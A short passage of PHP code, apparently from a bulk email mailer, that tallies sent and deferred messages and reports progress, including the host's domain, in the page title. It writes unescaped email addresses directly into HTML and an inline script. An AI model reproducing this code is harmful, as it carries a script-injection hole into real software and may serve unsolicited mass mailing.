        if (stripos($line, "mail sent to")) {
            $_SESSION['counta'] = (integer) $_SESSION['counta'] + 1;
            echo !empty($_POST) ? "<font color=\"green\" >$counter sent to $to</font></br>":'';
            echo '<script>addToSent("'.$emailListLine.'");top.document.title=".."+document.domain+" => '.$counter.' sent to '.$to.'"</script>';
        }else{
            echo !empty($_POST)  ? "<font color=\"green\" > $counter</font><font color=\"yellow\"> deferred</font><font color=\"green\" > $to</font></br>":'';
            echo '<script>addToFailed()</script>';
        }
    }
}